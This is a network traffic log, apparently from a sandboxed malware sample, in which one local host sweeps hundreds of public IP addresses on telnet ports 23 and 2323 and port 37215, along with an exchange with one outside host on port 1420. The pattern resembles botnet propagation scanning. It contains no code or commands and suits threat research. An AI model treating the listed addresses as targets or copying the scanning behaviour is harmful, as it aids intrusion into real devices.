Oct 8, 2024 20:34:43.982983112 CEST	23	48168	183.54.229.84	192.168.2.14
Oct 8, 2024 20:34:43.982994080 CEST	2323	48168	221.184.255.157	192.168.2.14
Oct 8, 2024 20:34:43.983000994 CEST	48168	23	192.168.2.14	87.61.202.241
Oct 8, 2024 20:34:43.983004093 CEST	23	48168	82.82.162.122	192.168.2.14
Oct 8, 2024 20:34:43.983009100 CEST	48169	37215	192.168.2.14	41.7.7.103
Oct 8, 2024 20:34:43.983011007 CEST	48169	37215	192.168.2.14	41.125.245.240
Oct 8, 2024 20:34:43.983011007 CEST	48169	37215	192.168.2.14	197.90.138.159
Oct 8, 2024 20:34:43.983016014 CEST	23	48168	219.157.112.209	192.168.2.14
Oct 8, 2024 20:34:43.983022928 CEST	48168	2323	192.168.2.14	221.184.255.157
Oct 8, 2024 20:34:43.983026981 CEST	23	48168	204.243.231.124	192.168.2.14
Oct 8, 2024 20:34:43.983031034 CEST	48168	23	192.168.2.14	183.54.229.84
Oct 8, 2024 20:34:43.983031988 CEST	48168	23	192.168.2.14	82.82.162.122
Oct 8, 2024 20:34:43.983036995 CEST	48168	23	192.168.2.14	98.113.130.124
Oct 8, 2024 20:34:43.983036995 CEST	48169	37215	192.168.2.14	156.196.97.204
Oct 8, 2024 20:34:43.983038902 CEST	23	48168	197.122.159.120	192.168.2.14
Oct 8, 2024 20:34:43.983041048 CEST	48169	37215	192.168.2.14	197.56.8.149
Oct 8, 2024 20:34:43.983043909 CEST	48169	37215	192.168.2.14	156.151.29.185
Oct 8, 2024 20:34:43.983047009 CEST	48168	23	192.168.2.14	219.157.112.209
Oct 8, 2024 20:34:43.983050108 CEST	23	48168	38.97.171.114	192.168.2.14
Oct 8, 2024 20:34:43.983057022 CEST	48169	37215	192.168.2.14	156.68.138.126
Oct 8, 2024 20:34:43.983061075 CEST	48169	37215	192.168.2.14	156.13.36.43
Oct 8, 2024 20:34:43.983062029 CEST	23	48168	2.180.10.161	192.168.2.14
Oct 8, 2024 20:34:43.983062029 CEST	48168	23	192.168.2.14	204.243.231.124
Oct 8, 2024 20:34:43.983059883 CEST	48169	37215	192.168.2.14	41.39.101.230
Oct 8, 2024 20:34:43.983073950 CEST	48168	23	192.168.2.14	197.122.159.120
Oct 8, 2024 20:34:43.983074903 CEST	23	48168	69.70.42.117	192.168.2.14
Oct 8, 2024 20:34:43.983078003 CEST	48168	23	192.168.2.14	38.97.171.114
Oct 8, 2024 20:34:43.983081102 CEST	48169	37215	192.168.2.14	41.32.197.61
Oct 8, 2024 20:34:43.983088970 CEST	23	48168	166.171.3.7	192.168.2.14
Oct 8, 2024 20:34:43.983093023 CEST	48168	23	192.168.2.14	2.180.10.161
Oct 8, 2024 20:34:43.983095884 CEST	48169	37215	192.168.2.14	156.130.3.215
Oct 8, 2024 20:34:43.983095884 CEST	48169	37215	192.168.2.14	156.235.39.57
Oct 8, 2024 20:34:43.983099937 CEST	23	48168	144.3.198.231	192.168.2.14
Oct 8, 2024 20:34:43.983109951 CEST	48168	23	192.168.2.14	69.70.42.117
Oct 8, 2024 20:34:43.983112097 CEST	23	48168	115.51.36.200	192.168.2.14
Oct 8, 2024 20:34:43.983114004 CEST	48169	37215	192.168.2.14	41.115.234.247
Oct 8, 2024 20:34:43.983119011 CEST	48168	23	192.168.2.14	166.171.3.7
Oct 8, 2024 20:34:43.983124018 CEST	23	48168	27.134.64.94	192.168.2.14
Oct 8, 2024 20:34:43.983130932 CEST	48169	37215	192.168.2.14	41.176.3.251
Oct 8, 2024 20:34:43.983135939 CEST	2323	48168	2.91.173.3	192.168.2.14
Oct 8, 2024 20:34:43.983139038 CEST	48169	37215	192.168.2.14	156.97.3.108
Oct 8, 2024 20:34:43.983140945 CEST	48169	37215	192.168.2.14	41.147.107.132
Oct 8, 2024 20:34:43.983149052 CEST	23	48168	75.56.169.61	192.168.2.14
Oct 8, 2024 20:34:43.983150005 CEST	48168	23	192.168.2.14	144.3.198.231
Oct 8, 2024 20:34:43.983150959 CEST	48168	23	192.168.2.14	27.134.64.94
Oct 8, 2024 20:34:43.983150005 CEST	48169	37215	192.168.2.14	197.90.154.72
Oct 8, 2024 20:34:43.983163118 CEST	48169	37215	192.168.2.14	156.215.146.232
Oct 8, 2024 20:34:43.983163118 CEST	23	48168	38.201.99.10	192.168.2.14
Oct 8, 2024 20:34:43.983165026 CEST	48168	23	192.168.2.14	115.51.36.200
Oct 8, 2024 20:34:43.983165026 CEST	48168	2323	192.168.2.14	2.91.173.3
Oct 8, 2024 20:34:43.983171940 CEST	48169	37215	192.168.2.14	156.24.184.74
Oct 8, 2024 20:34:43.983171940 CEST	48169	37215	192.168.2.14	41.119.100.224
Oct 8, 2024 20:34:43.983175039 CEST	23	48168	173.134.231.158	192.168.2.14
Oct 8, 2024 20:34:43.983182907 CEST	48168	23	192.168.2.14	75.56.169.61
Oct 8, 2024 20:34:43.983184099 CEST	48169	37215	192.168.2.14	41.90.124.245
Oct 8, 2024 20:34:43.983186960 CEST	23	48168	48.163.140.124	192.168.2.14
Oct 8, 2024 20:34:43.983197927 CEST	23	48168	164.119.170.54	192.168.2.14
Oct 8, 2024 20:34:43.983197927 CEST	48168	23	192.168.2.14	38.201.99.10
Oct 8, 2024 20:34:43.983203888 CEST	48169	37215	192.168.2.14	156.9.1.62
Oct 8, 2024 20:34:43.983206987 CEST	48169	37215	192.168.2.14	156.74.174.9
Oct 8, 2024 20:34:43.983208895 CEST	23	48168	71.112.245.139	192.168.2.14
Oct 8, 2024 20:34:43.983211040 CEST	48168	23	192.168.2.14	173.134.231.158
Oct 8, 2024 20:34:43.983211040 CEST	48169	37215	192.168.2.14	41.185.187.78
Oct 8, 2024 20:34:43.983220100 CEST	23	48168	24.87.195.193	192.168.2.14
Oct 8, 2024 20:34:43.983222008 CEST	48168	23	192.168.2.14	48.163.140.124
Oct 8, 2024 20:34:43.983232975 CEST	23	48168	46.203.248.4	192.168.2.14
Oct 8, 2024 20:34:43.983237028 CEST	48169	37215	192.168.2.14	41.240.112.173
Oct 8, 2024 20:34:43.983243942 CEST	2323	48168	41.70.14.224	192.168.2.14
Oct 8, 2024 20:34:43.983243942 CEST	48168	23	192.168.2.14	164.119.170.54
Oct 8, 2024 20:34:43.983246088 CEST	48168	23	192.168.2.14	71.112.245.139
Oct 8, 2024 20:34:43.983258009 CEST	48168	23	192.168.2.14	24.87.195.193
Oct 8, 2024 20:34:43.983258963 CEST	23	48168	146.221.150.129	192.168.2.14
Oct 8, 2024 20:34:43.983261108 CEST	48168	23	192.168.2.14	46.203.248.4
Oct 8, 2024 20:34:43.983267069 CEST	48169	37215	192.168.2.14	197.118.22.201
Oct 8, 2024 20:34:43.983269930 CEST	23	48168	183.212.8.69	192.168.2.14
Oct 8, 2024 20:34:43.983272076 CEST	48168	2323	192.168.2.14	41.70.14.224
Oct 8, 2024 20:34:43.983274937 CEST	48169	37215	192.168.2.14	156.15.115.61
Oct 8, 2024 20:34:43.983280897 CEST	23	48168	45.78.153.153	192.168.2.14
Oct 8, 2024 20:34:43.983284950 CEST	48168	23	192.168.2.14	146.221.150.129
Oct 8, 2024 20:34:43.983288050 CEST	48169	37215	192.168.2.14	156.144.221.185
Oct 8, 2024 20:34:43.983288050 CEST	48169	37215	192.168.2.14	156.211.13.119
Oct 8, 2024 20:34:43.983292103 CEST	23	48168	62.63.251.82	192.168.2.14
Oct 8, 2024 20:34:43.983299971 CEST	48168	23	192.168.2.14	183.212.8.69
Oct 8, 2024 20:34:43.983299971 CEST	48169	37215	192.168.2.14	197.236.37.193
Oct 8, 2024 20:34:43.983305931 CEST	48169	37215	192.168.2.14	197.193.4.205
Oct 8, 2024 20:34:43.983305931 CEST	48169	37215	192.168.2.14	197.59.58.68
Oct 8, 2024 20:34:43.983305931 CEST	48169	37215	192.168.2.14	156.161.166.180
Oct 8, 2024 20:34:43.983314991 CEST	23	48168	149.69.70.199	192.168.2.14
Oct 8, 2024 20:34:43.983323097 CEST	48169	37215	192.168.2.14	41.60.137.219
Oct 8, 2024 20:34:43.983323097 CEST	48168	23	192.168.2.14	45.78.153.153
Oct 8, 2024 20:34:43.983325005 CEST	48169	37215	192.168.2.14	156.135.60.48
Oct 8, 2024 20:34:43.983325005 CEST	48168	23	192.168.2.14	62.63.251.82
Oct 8, 2024 20:34:43.983325005 CEST	48169	37215	192.168.2.14	156.42.99.212
Oct 8, 2024 20:34:43.983325958 CEST	48169	37215	192.168.2.14	41.81.245.124
Oct 8, 2024 20:34:43.983328104 CEST	23	48168	160.244.119.2	192.168.2.14
Oct 8, 2024 20:34:43.983339071 CEST	23	48168	192.143.30.71	192.168.2.14
Oct 8, 2024 20:34:43.983344078 CEST	48169	37215	192.168.2.14	197.242.150.234
Oct 8, 2024 20:34:43.983345985 CEST	48169	37215	192.168.2.14	41.127.183.31
Oct 8, 2024 20:34:43.983349085 CEST	23	48168	54.128.52.183	192.168.2.14
Oct 8, 2024 20:34:43.983350992 CEST	48169	37215	192.168.2.14	197.98.15.6
Oct 8, 2024 20:34:43.983355045 CEST	48169	37215	192.168.2.14	41.240.220.129
Oct 8, 2024 20:34:43.983357906 CEST	48168	23	192.168.2.14	160.244.119.2
Oct 8, 2024 20:34:43.983364105 CEST	48168	23	192.168.2.14	192.143.30.71
Oct 8, 2024 20:34:43.983371019 CEST	48168	23	192.168.2.14	149.69.70.199
Oct 8, 2024 20:34:43.983371019 CEST	48169	37215	192.168.2.14	156.209.95.181
Oct 8, 2024 20:34:43.983378887 CEST	48168	23	192.168.2.14	54.128.52.183
Oct 8, 2024 20:34:43.983395100 CEST	48169	37215	192.168.2.14	41.231.9.54
Oct 8, 2024 20:34:43.983395100 CEST	48169	37215	192.168.2.14	156.40.104.148
Oct 8, 2024 20:34:43.983403921 CEST	48169	37215	192.168.2.14	41.222.138.105
Oct 8, 2024 20:34:43.983416080 CEST	48169	37215	192.168.2.14	156.252.148.55
Oct 8, 2024 20:34:43.983417034 CEST	48169	37215	192.168.2.14	197.117.78.21
Oct 8, 2024 20:34:43.983427048 CEST	48169	37215	192.168.2.14	41.246.192.50
Oct 8, 2024 20:34:43.983427048 CEST	48169	37215	192.168.2.14	41.65.180.158
Oct 8, 2024 20:34:43.983439922 CEST	48169	37215	192.168.2.14	197.17.119.210
Oct 8, 2024 20:34:43.983441114 CEST	48169	37215	192.168.2.14	156.5.34.251
Oct 8, 2024 20:34:43.983443975 CEST	48169	37215	192.168.2.14	41.31.141.250
Oct 8, 2024 20:34:43.983447075 CEST	48169	37215	192.168.2.14	41.103.121.35
Oct 8, 2024 20:34:43.983458042 CEST	48169	37215	192.168.2.14	197.237.78.137
Oct 8, 2024 20:34:43.983467102 CEST	48169	37215	192.168.2.14	41.170.38.108
Oct 8, 2024 20:34:43.983477116 CEST	48169	37215	192.168.2.14	197.78.178.68
Oct 8, 2024 20:34:43.983477116 CEST	48169	37215	192.168.2.14	156.124.112.196
Oct 8, 2024 20:34:43.983477116 CEST	48169	37215	192.168.2.14	156.48.218.124
Oct 8, 2024 20:34:43.983477116 CEST	48169	37215	192.168.2.14	197.200.248.209
Oct 8, 2024 20:34:43.983491898 CEST	48169	37215	192.168.2.14	156.21.110.130
Oct 8, 2024 20:34:43.983491898 CEST	48169	37215	192.168.2.14	41.11.98.189
Oct 8, 2024 20:34:43.983500957 CEST	48169	37215	192.168.2.14	156.227.235.113
Oct 8, 2024 20:34:43.983504057 CEST	48169	37215	192.168.2.14	197.3.1.37
Oct 8, 2024 20:34:43.983504057 CEST	48169	37215	192.168.2.14	41.136.4.0
Oct 8, 2024 20:34:43.983505964 CEST	48169	37215	192.168.2.14	156.15.255.64
Oct 8, 2024 20:34:43.983510017 CEST	48169	37215	192.168.2.14	197.71.89.68
Oct 8, 2024 20:34:43.983532906 CEST	48169	37215	192.168.2.14	156.112.43.171
Oct 8, 2024 20:34:43.983532906 CEST	48169	37215	192.168.2.14	197.153.237.169
Oct 8, 2024 20:34:43.983532906 CEST	48169	37215	192.168.2.14	41.55.5.219
Oct 8, 2024 20:34:43.983555079 CEST	48169	37215	192.168.2.14	156.228.8.25
Oct 8, 2024 20:34:43.983556986 CEST	48169	37215	192.168.2.14	41.82.216.35
Oct 8, 2024 20:34:43.983556986 CEST	48169	37215	192.168.2.14	156.222.230.128
Oct 8, 2024 20:34:43.983561039 CEST	48169	37215	192.168.2.14	41.161.155.85
Oct 8, 2024 20:34:43.983562946 CEST	48169	37215	192.168.2.14	197.233.110.195
Oct 8, 2024 20:34:43.983577013 CEST	48169	37215	192.168.2.14	41.254.189.110
Oct 8, 2024 20:34:43.983580112 CEST	48169	37215	192.168.2.14	41.249.65.237
Oct 8, 2024 20:34:43.983580112 CEST	48169	37215	192.168.2.14	197.61.130.134
Oct 8, 2024 20:34:43.983593941 CEST	48169	37215	192.168.2.14	156.23.150.150
Oct 8, 2024 20:34:43.983597994 CEST	48169	37215	192.168.2.14	41.206.39.39
Oct 8, 2024 20:34:43.983597994 CEST	48169	37215	192.168.2.14	41.141.199.197
Oct 8, 2024 20:34:43.983616114 CEST	48169	37215	192.168.2.14	156.37.142.153
Oct 8, 2024 20:34:43.983616114 CEST	48169	37215	192.168.2.14	41.90.202.228
Oct 8, 2024 20:34:43.983623981 CEST	48169	37215	192.168.2.14	156.121.39.131
Oct 8, 2024 20:34:43.983623981 CEST	48169	37215	192.168.2.14	156.226.176.193
Oct 8, 2024 20:34:43.983640909 CEST	48169	37215	192.168.2.14	41.125.157.173
Oct 8, 2024 20:34:43.983653069 CEST	48169	37215	192.168.2.14	197.61.144.116
Oct 8, 2024 20:34:43.983653069 CEST	48169	37215	192.168.2.14	197.249.177.156
Oct 8, 2024 20:34:43.983654976 CEST	48169	37215	192.168.2.14	156.195.31.249
Oct 8, 2024 20:34:43.983654976 CEST	48169	37215	192.168.2.14	156.152.77.121
Oct 8, 2024 20:34:43.983671904 CEST	48169	37215	192.168.2.14	41.219.28.192
Oct 8, 2024 20:34:43.983675003 CEST	48169	37215	192.168.2.14	197.56.81.246
Oct 8, 2024 20:34:43.983676910 CEST	48169	37215	192.168.2.14	41.153.156.173
Oct 8, 2024 20:34:43.983680964 CEST	48169	37215	192.168.2.14	41.36.204.167
Oct 8, 2024 20:34:43.983685017 CEST	48169	37215	192.168.2.14	156.18.63.169
Oct 8, 2024 20:34:43.983695030 CEST	48169	37215	192.168.2.14	197.66.164.230
Oct 8, 2024 20:34:43.983704090 CEST	48169	37215	192.168.2.14	41.246.146.195
Oct 8, 2024 20:34:43.983720064 CEST	48169	37215	192.168.2.14	41.6.109.98
Oct 8, 2024 20:34:43.983720064 CEST	48169	37215	192.168.2.14	197.154.30.221
Oct 8, 2024 20:34:43.983720064 CEST	48169	37215	192.168.2.14	41.182.33.184
Oct 8, 2024 20:34:43.983720064 CEST	48169	37215	192.168.2.14	41.55.38.133
Oct 8, 2024 20:34:43.983733892 CEST	48169	37215	192.168.2.14	41.27.29.84
Oct 8, 2024 20:34:43.983738899 CEST	48169	37215	192.168.2.14	197.80.42.133
Oct 8, 2024 20:34:43.983750105 CEST	48169	37215	192.168.2.14	197.81.192.206
Oct 8, 2024 20:34:43.983750105 CEST	48169	37215	192.168.2.14	197.219.252.244
Oct 8, 2024 20:34:43.983750105 CEST	48169	37215	192.168.2.14	197.90.182.222
Oct 8, 2024 20:34:43.983760118 CEST	48169	37215	192.168.2.14	156.152.2.56
Oct 8, 2024 20:34:43.983760118 CEST	48169	37215	192.168.2.14	41.166.112.60
Oct 8, 2024 20:34:43.983761072 CEST	48169	37215	192.168.2.14	197.47.99.137
Oct 8, 2024 20:34:43.983761072 CEST	48169	37215	192.168.2.14	41.46.197.154
Oct 8, 2024 20:34:43.983771086 CEST	48169	37215	192.168.2.14	41.54.192.17
Oct 8, 2024 20:34:43.983778000 CEST	48169	37215	192.168.2.14	156.37.52.106
Oct 8, 2024 20:34:43.983786106 CEST	48169	37215	192.168.2.14	156.176.150.146
Oct 8, 2024 20:34:43.983787060 CEST	48169	37215	192.168.2.14	41.186.191.226
Oct 8, 2024 20:34:43.983804941 CEST	48169	37215	192.168.2.14	197.155.72.135
Oct 8, 2024 20:34:43.983819962 CEST	48169	37215	192.168.2.14	197.92.147.231
Oct 8, 2024 20:34:43.983823061 CEST	48169	37215	192.168.2.14	156.61.48.39
Oct 8, 2024 20:34:43.983830929 CEST	48169	37215	192.168.2.14	197.235.187.0
Oct 8, 2024 20:34:43.983843088 CEST	48169	37215	192.168.2.14	41.199.75.79
Oct 8, 2024 20:34:43.983843088 CEST	48169	37215	192.168.2.14	41.140.199.51
Oct 8, 2024 20:34:43.983846903 CEST	48169	37215	192.168.2.14	197.107.142.88
Oct 8, 2024 20:34:43.983865976 CEST	48169	37215	192.168.2.14	156.87.240.203
Oct 8, 2024 20:34:43.983867884 CEST	48169	37215	192.168.2.14	197.238.8.36
Oct 8, 2024 20:34:43.983870029 CEST	48169	37215	192.168.2.14	41.217.167.127
Oct 8, 2024 20:34:43.983870983 CEST	48169	37215	192.168.2.14	41.140.205.48
Oct 8, 2024 20:34:43.983891964 CEST	48169	37215	192.168.2.14	41.169.84.207
Oct 8, 2024 20:34:43.983891964 CEST	48169	37215	192.168.2.14	197.76.181.218
Oct 8, 2024 20:34:43.983891964 CEST	48169	37215	192.168.2.14	156.93.90.76
Oct 8, 2024 20:34:43.983894110 CEST	48169	37215	192.168.2.14	197.119.88.156
Oct 8, 2024 20:34:43.983894110 CEST	48169	37215	192.168.2.14	197.120.184.87
Oct 8, 2024 20:34:43.983922005 CEST	48169	37215	192.168.2.14	41.67.130.250
Oct 8, 2024 20:34:43.983922958 CEST	48169	37215	192.168.2.14	41.114.174.49
Oct 8, 2024 20:34:43.983922005 CEST	48169	37215	192.168.2.14	41.205.84.6
Oct 8, 2024 20:34:43.983922005 CEST	48169	37215	192.168.2.14	156.251.173.87
Oct 8, 2024 20:34:43.983933926 CEST	48169	37215	192.168.2.14	156.114.9.33
Oct 8, 2024 20:34:43.983951092 CEST	48169	37215	192.168.2.14	41.46.63.201
Oct 8, 2024 20:34:43.983951092 CEST	48169	37215	192.168.2.14	156.114.75.182
Oct 8, 2024 20:34:43.983962059 CEST	48169	37215	192.168.2.14	197.116.213.36
Oct 8, 2024 20:34:43.983964920 CEST	48169	37215	192.168.2.14	197.28.64.44
Oct 8, 2024 20:34:43.983980894 CEST	48169	37215	192.168.2.14	197.243.111.251
Oct 8, 2024 20:34:43.983990908 CEST	48169	37215	192.168.2.14	41.175.142.48
Oct 8, 2024 20:34:43.983990908 CEST	48169	37215	192.168.2.14	197.237.3.215
Oct 8, 2024 20:34:43.983994007 CEST	48169	37215	192.168.2.14	41.24.45.30
Oct 8, 2024 20:34:43.983994007 CEST	48169	37215	192.168.2.14	197.238.31.162
Oct 8, 2024 20:34:43.983998060 CEST	48169	37215	192.168.2.14	41.62.212.95
Oct 8, 2024 20:34:43.983999968 CEST	48169	37215	192.168.2.14	156.153.179.89
Oct 8, 2024 20:34:43.984011889 CEST	48169	37215	192.168.2.14	156.30.118.171
Oct 8, 2024 20:34:43.984013081 CEST	48169	37215	192.168.2.14	156.151.213.0
Oct 8, 2024 20:34:43.984014034 CEST	48169	37215	192.168.2.14	197.79.123.127
Oct 8, 2024 20:34:43.984020948 CEST	48169	37215	192.168.2.14	156.158.130.197
Oct 8, 2024 20:34:43.984025002 CEST	48169	37215	192.168.2.14	156.12.149.228
Oct 8, 2024 20:34:43.984035969 CEST	48169	37215	192.168.2.14	156.7.134.85
Oct 8, 2024 20:34:43.984042883 CEST	48169	37215	192.168.2.14	41.35.202.161
Oct 8, 2024 20:34:43.984045029 CEST	48169	37215	192.168.2.14	156.211.177.77
Oct 8, 2024 20:34:43.984045982 CEST	48169	37215	192.168.2.14	41.216.25.55
Oct 8, 2024 20:34:43.984057903 CEST	48169	37215	192.168.2.14	156.229.83.158
Oct 8, 2024 20:34:43.984057903 CEST	48169	37215	192.168.2.14	41.45.16.54
Oct 8, 2024 20:34:43.984071970 CEST	48169	37215	192.168.2.14	41.86.114.231
Oct 8, 2024 20:34:43.984071970 CEST	48169	37215	192.168.2.14	41.23.239.123
Oct 8, 2024 20:34:43.984086990 CEST	48169	37215	192.168.2.14	197.109.191.197
Oct 8, 2024 20:34:43.984088898 CEST	48169	37215	192.168.2.14	41.127.182.97
Oct 8, 2024 20:34:43.984106064 CEST	48169	37215	192.168.2.14	156.38.145.56
Oct 8, 2024 20:34:43.984106064 CEST	48169	37215	192.168.2.14	41.145.112.1
Oct 8, 2024 20:34:43.984122992 CEST	48169	37215	192.168.2.14	197.27.102.1
Oct 8, 2024 20:34:43.984124899 CEST	48169	37215	192.168.2.14	41.215.138.16
Oct 8, 2024 20:34:43.984141111 CEST	48169	37215	192.168.2.14	41.216.150.65
Oct 8, 2024 20:34:43.984150887 CEST	48169	37215	192.168.2.14	156.182.5.93
Oct 8, 2024 20:34:43.984155893 CEST	48169	37215	192.168.2.14	41.48.3.1
Oct 8, 2024 20:34:43.984159946 CEST	48169	37215	192.168.2.14	156.152.236.78
Oct 8, 2024 20:34:43.984173059 CEST	48169	37215	192.168.2.14	156.119.35.160
Oct 8, 2024 20:34:43.984175920 CEST	48169	37215	192.168.2.14	41.39.47.151
Oct 8, 2024 20:34:43.984179020 CEST	48169	37215	192.168.2.14	197.188.232.177
Oct 8, 2024 20:34:43.984179020 CEST	48169	37215	192.168.2.14	156.95.77.41
Oct 8, 2024 20:34:43.984183073 CEST	48169	37215	192.168.2.14	197.206.17.170
Oct 8, 2024 20:34:43.984183073 CEST	48169	37215	192.168.2.14	197.64.167.132
Oct 8, 2024 20:34:43.984183073 CEST	48169	37215	192.168.2.14	41.116.252.242
Oct 8, 2024 20:34:43.984195948 CEST	48169	37215	192.168.2.14	41.11.108.42
Oct 8, 2024 20:34:43.984203100 CEST	48169	37215	192.168.2.14	41.66.71.146
Oct 8, 2024 20:34:43.984205008 CEST	48169	37215	192.168.2.14	156.12.159.82
Oct 8, 2024 20:34:43.984205008 CEST	48169	37215	192.168.2.14	156.112.39.76
Oct 8, 2024 20:34:43.984209061 CEST	48169	37215	192.168.2.14	41.25.118.156
Oct 8, 2024 20:34:43.984210014 CEST	48169	37215	192.168.2.14	197.4.160.57
Oct 8, 2024 20:34:43.984225035 CEST	48169	37215	192.168.2.14	41.213.78.55
Oct 8, 2024 20:34:43.984225035 CEST	48169	37215	192.168.2.14	197.182.64.187
Oct 8, 2024 20:34:43.984225988 CEST	48169	37215	192.168.2.14	197.4.244.169
Oct 8, 2024 20:34:43.984241962 CEST	48169	37215	192.168.2.14	41.61.167.253
Oct 8, 2024 20:34:43.984241962 CEST	48169	37215	192.168.2.14	197.40.7.28
Oct 8, 2024 20:34:43.984253883 CEST	48169	37215	192.168.2.14	156.168.236.60
Oct 8, 2024 20:34:43.984266996 CEST	48169	37215	192.168.2.14	197.226.116.178
Oct 8, 2024 20:34:43.984268904 CEST	48169	37215	192.168.2.14	197.24.78.19
Oct 8, 2024 20:34:43.984278917 CEST	48169	37215	192.168.2.14	197.228.235.235
Oct 8, 2024 20:34:43.984289885 CEST	48169	37215	192.168.2.14	156.172.73.125
Oct 8, 2024 20:34:43.984291077 CEST	48169	37215	192.168.2.14	156.228.234.60
Oct 8, 2024 20:34:43.984291077 CEST	48169	37215	192.168.2.14	41.103.214.7
Oct 8, 2024 20:34:43.984303951 CEST	48169	37215	192.168.2.14	41.177.54.29
Oct 8, 2024 20:34:43.984303951 CEST	48169	37215	192.168.2.14	197.246.125.242
Oct 8, 2024 20:34:43.984324932 CEST	48169	37215	192.168.2.14	156.139.229.130
Oct 8, 2024 20:34:43.984324932 CEST	48169	37215	192.168.2.14	156.36.96.198
Oct 8, 2024 20:34:43.984324932 CEST	48169	37215	192.168.2.14	41.149.103.249
Oct 8, 2024 20:34:43.984328985 CEST	48169	37215	192.168.2.14	41.219.199.58
Oct 8, 2024 20:34:43.984342098 CEST	48169	37215	192.168.2.14	197.179.221.33
Oct 8, 2024 20:34:43.984342098 CEST	48169	37215	192.168.2.14	41.183.244.128
Oct 8, 2024 20:34:43.984342098 CEST	48169	37215	192.168.2.14	156.170.216.142
Oct 8, 2024 20:34:43.984355927 CEST	48169	37215	192.168.2.14	41.152.197.54
Oct 8, 2024 20:34:43.984361887 CEST	48169	37215	192.168.2.14	156.212.188.111
Oct 8, 2024 20:34:43.984368086 CEST	48169	37215	192.168.2.14	41.88.250.148
Oct 8, 2024 20:34:43.984400988 CEST	48169	37215	192.168.2.14	156.239.44.9
Oct 8, 2024 20:34:43.984411955 CEST	48169	37215	192.168.2.14	156.241.192.175
Oct 8, 2024 20:34:43.984416962 CEST	48169	37215	192.168.2.14	41.235.130.105
Oct 8, 2024 20:34:43.984421015 CEST	48169	37215	192.168.2.14	41.116.78.182
Oct 8, 2024 20:34:43.984424114 CEST	48169	37215	192.168.2.14	156.102.30.239
Oct 8, 2024 20:34:43.984426022 CEST	48169	37215	192.168.2.14	156.174.186.166
Oct 8, 2024 20:34:43.984428883 CEST	48169	37215	192.168.2.14	197.243.135.64
Oct 8, 2024 20:34:43.984441042 CEST	48169	37215	192.168.2.14	41.156.34.224
Oct 8, 2024 20:34:43.984447956 CEST	48169	37215	192.168.2.14	41.194.46.177
Oct 8, 2024 20:34:43.984455109 CEST	48169	37215	192.168.2.14	156.214.45.47
Oct 8, 2024 20:34:43.984464884 CEST	48169	37215	192.168.2.14	156.122.72.214
Oct 8, 2024 20:34:43.984472036 CEST	48169	37215	192.168.2.14	41.112.217.224
Oct 8, 2024 20:34:43.984484911 CEST	48169	37215	192.168.2.14	197.35.138.221
Oct 8, 2024 20:34:43.984489918 CEST	48169	37215	192.168.2.14	197.97.180.106
Oct 8, 2024 20:34:43.984494925 CEST	48169	37215	192.168.2.14	197.222.193.244
Oct 8, 2024 20:34:43.984496117 CEST	48169	37215	192.168.2.14	41.7.60.148
Oct 8, 2024 20:34:43.984496117 CEST	48169	37215	192.168.2.14	197.164.173.204
Oct 8, 2024 20:34:43.984502077 CEST	48169	37215	192.168.2.14	156.132.232.26
Oct 8, 2024 20:34:43.984519958 CEST	48169	37215	192.168.2.14	41.20.24.143
Oct 8, 2024 20:34:43.984525919 CEST	48169	37215	192.168.2.14	156.91.61.243
Oct 8, 2024 20:34:43.984527111 CEST	48169	37215	192.168.2.14	156.200.9.250
Oct 8, 2024 20:34:43.984541893 CEST	48169	37215	192.168.2.14	197.172.135.204
Oct 8, 2024 20:34:43.984541893 CEST	48169	37215	192.168.2.14	156.218.24.7
Oct 8, 2024 20:34:43.984541893 CEST	48169	37215	192.168.2.14	197.36.175.208
Oct 8, 2024 20:34:43.984551907 CEST	48169	37215	192.168.2.14	41.106.181.5
Oct 8, 2024 20:34:43.984560013 CEST	48169	37215	192.168.2.14	41.154.21.31
Oct 8, 2024 20:34:43.984560966 CEST	48169	37215	192.168.2.14	41.107.9.25
Oct 8, 2024 20:34:43.984561920 CEST	48169	37215	192.168.2.14	41.144.72.146
Oct 8, 2024 20:34:43.984561920 CEST	48169	37215	192.168.2.14	41.12.44.8
Oct 8, 2024 20:34:43.984570026 CEST	48169	37215	192.168.2.14	197.88.98.59
Oct 8, 2024 20:34:43.984570980 CEST	48169	37215	192.168.2.14	197.220.1.156
Oct 8, 2024 20:34:43.984576941 CEST	48169	37215	192.168.2.14	156.250.26.192
Oct 8, 2024 20:34:43.984589100 CEST	48169	37215	192.168.2.14	156.16.51.251
Oct 8, 2024 20:34:43.984606981 CEST	48169	37215	192.168.2.14	156.193.154.33
Oct 8, 2024 20:34:43.984607935 CEST	48169	37215	192.168.2.14	41.90.71.218
Oct 8, 2024 20:34:43.984606981 CEST	48169	37215	192.168.2.14	156.181.101.55
Oct 8, 2024 20:34:43.984606981 CEST	48169	37215	192.168.2.14	197.137.103.113
Oct 8, 2024 20:34:43.984617949 CEST	48169	37215	192.168.2.14	156.142.221.138
Oct 8, 2024 20:34:43.984631062 CEST	48169	37215	192.168.2.14	197.48.139.0
Oct 8, 2024 20:34:43.984637022 CEST	48169	37215	192.168.2.14	156.230.32.159
Oct 8, 2024 20:34:43.984648943 CEST	48169	37215	192.168.2.14	41.121.85.194
Oct 8, 2024 20:34:43.984648943 CEST	48169	37215	192.168.2.14	41.154.190.23
Oct 8, 2024 20:34:43.984649897 CEST	48169	37215	192.168.2.14	156.107.16.149
Oct 8, 2024 20:34:43.984663010 CEST	48169	37215	192.168.2.14	197.93.73.59
Oct 8, 2024 20:34:43.984667063 CEST	48169	37215	192.168.2.14	197.33.102.200
Oct 8, 2024 20:34:43.984667063 CEST	48169	37215	192.168.2.14	156.191.76.82
Oct 8, 2024 20:34:43.984694004 CEST	48169	37215	192.168.2.14	156.209.67.243
Oct 8, 2024 20:34:43.984694004 CEST	48169	37215	192.168.2.14	156.230.20.219
Oct 8, 2024 20:34:43.984699011 CEST	48169	37215	192.168.2.14	41.172.7.48
Oct 8, 2024 20:34:43.984699011 CEST	48169	37215	192.168.2.14	41.179.238.6
Oct 8, 2024 20:34:43.984718084 CEST	48169	37215	192.168.2.14	41.66.188.53
Oct 8, 2024 20:34:43.986973047 CEST	1420	36630	45.137.198.211	192.168.2.14
Oct 8, 2024 20:34:43.987118006 CEST	36630	1420	192.168.2.14	45.137.198.211
Oct 8, 2024 20:34:43.987632036 CEST	37215	48169	197.169.44.159	192.168.2.14
Oct 8, 2024 20:34:43.987679005 CEST	48169	37215	192.168.2.14	197.169.44.159
Oct 8, 2024 20:34:43.988303900 CEST	37215	48169	156.136.228.139	192.168.2.14
Oct 8, 2024 20:34:43.988321066 CEST	37215	48169	197.120.159.78	192.168.2.14
Oct 8, 2024 20:34:43.988332987 CEST	37215	48169	197.75.45.209	192.168.2.14
